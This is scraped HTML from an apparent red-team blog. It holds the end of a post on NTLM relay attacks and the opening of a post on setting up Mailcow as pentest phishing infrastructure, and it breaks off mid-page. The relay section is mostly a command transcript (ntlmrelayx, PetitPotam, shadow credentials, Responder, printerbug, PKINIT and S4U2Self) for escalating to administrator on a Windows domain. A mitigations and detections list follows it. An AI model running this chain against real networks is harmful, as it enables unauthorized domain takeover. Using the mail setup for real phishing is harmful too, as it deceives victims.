src="https://substackcdn.com/image/fetch/$s_!KbOz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png" width="1456" height="672" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:672,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!KbOz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 424w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 848w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 1272w, https://substackcdn.com/image/fetch/$s_!KbOz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfc2bab8-a15e-4746-acf8-a7e80c7c9e11_1676x774.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5>Example Attack Transcript</h5><pre><code><code># https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py
# Setup to relay auth from the DC to your target
python3 ntlmrelayx.py -t smb://target.domain.local -smb2support -socks

# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
# Target unpatched DC with unauthenticated PetitPotam
python3 PetitPotam.py -u &#8216;&#8217; -p &#8216;&#8217; -d &#8216;&#8217; &lt;attacker ip&gt; dc.domain.local

# Stop the current ntlmrelayx servers to free the ports, but leave the SOCKS proxy running
ntlmrelayx&gt; stopservers

# https://github.com/ShutdownRepo/impacket/tree/pywhisker
# Start a second instance of ntlmrelayx, this time for shadow credential attack
python3 ntlmrelayx.py -t ldap://dc.domain.local --shadow-credentials --shadow-target target\$

# https://github.com/lgandx/Responder
# SMB and HTTP off
# Will poison the name in your UNC path below, if target attempts to resolve over LLMNR/NBT-NS
./Responder.py -I eth0 -w

# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
# Trigger auth from your target, authenticating through the SOCKS proxy as the vulnerable DC
proxychains python3 printerbug.py DOMAIN/DC\$:fakepass@target.domain.local badhost@80/path

# OR
# https://github.com/topotam/PetitPotam/blob/main/PetitPotam.py
proxychains python3 PetitPotam.py -u DC\$ -p fakepass -d DOMAIN badhost@80/path target.domain.local

# Obtain TGT using https://github.com/dirkjanm/PKINITtools
# pfx file and pfx password will be generated by ntlmrelayx
python3 gettgtpkinit.py domain.local/target\$ target.ccache -cert-pfx &lt;pfx file path&gt; -pfx-pass &lt;pfx password&gt;

# Obtain a TGS using S4U2Self to obtain admin rights on the target
python3 gets4uticket.py kerberos+ccache://domain.local\\target\$:target.ccache@dc.domain.local cifs/target.domain.local@domain.local administrator@domain.local administrator.ccache -v
</code></code></pre><p>I haven&#8217;t used that exact flow on an enagement yet, but near the end of 2021 I was placed in a scenario where a DC, which doubled as the domain&#8217;s sole CA, was missing the unauthenticated PetitPotam patch. Since the DC/CA were the same host, I was unable to trigger PetitPotam and directly enroll in a certificate as the DC. However, by using the unauthenticated PetitPotam + SOCKS proxy trick described above, I was able to enroll in a certificate template as a high-value server without any compromised credentials to start the attack. The more I type this out, the more confusing it sounds so hopefully the visual clears it up:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gXAf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gXAf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 424w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 848w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 1272w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gXAf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png" width="1456" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!gXAf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 424w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 848w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 1272w, https://substackcdn.com/image/fetch/$s_!gXAf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F547e1856-be4a-4ad3-b2b5-2f68c09811f4_1974x738.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>New NTLM Relay Tooling?</h4><p>2021 also brought us some new relay tooling, or at least some tools teases that I&#8217;m keeping tabs on.</p><h5>lsarelayx</h5><p><a href="https://web.archive.org/web/20250514173146mp_/https://github.com/CCob/lsarelayx">lsarelayx</a> was released by <a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/_EthicalChaos_">@</a><em><a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/_EthicalChaos_">EthicalChaos</a></em> in November 2021. This requires administrator rights on a Windows machine to use, but allows for system wide NTLM relay through the use of a LSA authentication plugin that gets loaded by LSASS. I still haven&#8217;t played with lsarelayx myself, but it&#8217;s on my bucket list.</p><h5>Farmer v2.0?</h5><p><a href="https://web.archive.org/web/20250514173146mp_/https://github.com/mdsecactivebreach/Farmer">Farmer</a> is a powerful NetNTLM hash havesting tool which has come up clutch for me on at least one engagement. The associated <a href="https://web.archive.org/web/20250514173146mp_/https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/">blog</a> also has some great information on WebDAV tricks. Dominic Chell teased an unreleased version of Farmer with relay capabilities on <a href="https://web.archive.org/web/20250514173146mp_/https://twitter.com/domchell/status/1432411230334033920">Twitter</a> in August 2021.</p><h4>Mitigations and Detections</h4><p>Short of disabling NTLM authentication across the organization (which would prevent all the relay attacks described in this post, but isn&#8217;t feasible for everyone), here are some potential mitigation and detection strategies.</p><ul><li><p>Disable LLMNR and NetBIOS Name Service</p></li><li><p>Enforce session signing on SMB and LDAP</p></li><li><p>Enforce EPA (Extended Protection for Authentication) on LDAPS and HTTPS</p></li><li><p>Disable the ADCS web enrollment endpoint. If this cannot be done, NTLM authentication can be disabled on the host level or service level (IIS) on the certificate authority. Step-by-step instructions can be found in this <a href="https://web.archive.org/web/20250514173146mp_/https://www.truesec.com/hub/blog/mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-adv210003-kb5005413-petitpotam">post</a>.</p></li><li><p>Disable the Web Client service</p></li><li><p>Disable the Print Spooler service</p></li><li><p>Block or alert on potentially malicious RPC use (i.e. MS-EFSR, MS-RPRN) with <a href="https://web.archive.org/web/20250514173146mp_/https://github.com/zeronetworks/rpcfirewall">rpcfirewall</a></p></li><li><p>Monitor for Kerberos TGTs requested (event ID 4768) using PKINIT authentication if the behavior is not standard for the network environment or account.</p></li><li><p>Monitor for AD object modifications (event ID 5136 or 4662) where the attribute being modified is <code>msDS-KeyCredentialLink</code> or <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code>.</p></li><li><p>Monitor event ID 4420 from the EFS source</p></li><li><p>Monitor for <code>AllowAllCliAuth</code> <a href="https://web.archive.org/web/20250514173146mp_/https://support.microsoft.com/en-au/topic/kb5009763-efs-security-hardening-changes-in-cve-2021-43217-719fbc9d-ad9b-4f90-a964-0afe40338002">registry key</a> changes</p></li></ul><h4>References and Credits</h4><ul><li><p>https://www.thehacker.recipes/ad/movement/ntlm/relay</p></li><li><p>https://en.hackndo.com/ntlm-relay/</p></li><li><p>https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire</p></li><li><p>https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html</p></li><li><p>https://fr.slideshare.net/LionelTopotam/petit-potam-slidesrtfmossir</p></li><li><p>https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/?utm_campaign=Blog%20Posts&amp;utm_content=196648608&amp;utm_medium=social&amp;utm_source=twitter&amp;hss_channel=tw-403811306</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Utilizing Mailcow for Phishing]]></title><description><![CDATA[Setting Up a Self-Hosted Mail Server with Mailcow]]></description><link>https://blog.tw1sm.io/p/2022-01-25-mailcow</link><guid isPermaLink="false">https://blog.tw1sm.io/p/2022-01-25-mailcow</guid><dc:creator><![CDATA[Matt Creel]]></dc:creator><pubDate>Tue, 25 Jan 2022 05:00:00 GMT</pubDate><enclosure url="https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/0df66c0a-766e-4dfd-aef3-649d900e197d_543x543.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a href="https://mailcow.email/">Mailcow</a> is self-hosted email software and my preferred mail platform for pentest phishing. In the past I&#8217;ve used commercial platforms like Mailgun or SendGrid and had success, but I&#8217;ve also seen things go south with these types of services in the middle of an engagement. For a slight bit of setup time, Mailcow offers you just about the same features and increased flexibility in terms of number of inboxes/domains, that usually cost money to scale up with a commercial service.</p><h1><strong>Deploying a New Server</strong></h1><p>The first thing to do is provision a new server with your hosting provider. The server I&#8217;ll be setting up is an Ubuntu 21.10 image hosted on <a href="https://www.vultr.com/">Vultr</a>. My deployment has 1 GB of RAM and 32 GB of disk space, which costs $6/month. Before we go about setting up Mailcow, check if your IP is on any of the blacklists tracked by <a href="https://mxtoolbox.com/blacklists.aspx">MxToolBox</a>. With some providers, your IP may appear in several blacklists, which may hurt your ability to get emails past spam filters (never had this happen with Vultr, one of the reasons I chose them for hosting).</p><p>After your server gets provisioned, you&#8217;ll want to setup reverse DNS - if you don&#8217;t it can hurt your spamminess rating later. In Vultr, this can be found by clicking on your new server and going to <em>Settings</em>. Set this to the DNS name your server will have (i.e. mail.domain.com)</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ihYL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ihYL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 424w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 848w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 1272w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ihYL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png" width="1035" height="218" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:218,&quot;width&quot;:1035,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26010,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ihYL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 424w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 848w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 1272w, https://substackcdn.com/image/fetch/$s_!ihYL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F482b9b8b-ba40-42a8-9e02-e938404b5f37_1035x218.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><p>For other hosting providers this process differs. I believe with Digital Ocean, reverse DNS is configured based on the droplets hostname.</p><h1><strong>Installing Mailcow</strong></h1><p>Mailcow has a great set of instructions <a href="https://mailcow.github.io/mailcow-dockerized-docs/i_u_m_install/">here</a>. I&#8217;d still recommend reading that, but the commands I used to setup my server are below:</p><pre><code><code>curl -sSL https://get.docker.com/ | CHANNEL=stable sh
curl -L https://github.com/docker/compose/releases/download/$(curl -Ls https://www.servercow.de/docker-compose/latest.php)/docker-compose-$(uname -s)-$(uname -m) &gt; /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose
umask # you should be root, ensure the output is 0022
cd /opt
git clone https://github.com/mailcow/mailcow-dockerized.git
cd mailcow-dockerized
./generate_config.sh # enter the dns name of your host (i.e. mail.domain.com, blank for timezone and n for ClamAV
vim mailcow.conf # make any edits before starting
docker-compose pull
docker-compose up -d</code></code></pre><p>At this point, you should be able to reach the web interface by browsing to your Mailcow server over HTTP or HTTPS.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-5zF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-5zF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 424w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 848w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 1272w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-5zF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png" width="1125" height="677" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/fe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:677,&quot;width&quot;:1125,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:48265,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!-5zF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 424w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 848w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 1272w, https://substackcdn.com/image/fetch/$s_!-5zF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Ffe699cc9-a1d9-40cb-902a-7290748187ce_1125x677.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>I usually firewall off port 80 so it&#8217;s unreachable and only allow HTTPS to required IPs. Here&#8217;s my full firewall setup:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dqk3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dqk3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 424w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 848w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 1272w, https://substackcdn.com/image/fetch/$s_!dqk3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dqk3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F02eaee5a-9786-4334-b387-3a6a842bdcb0_988x478.png" width="988" height="478" 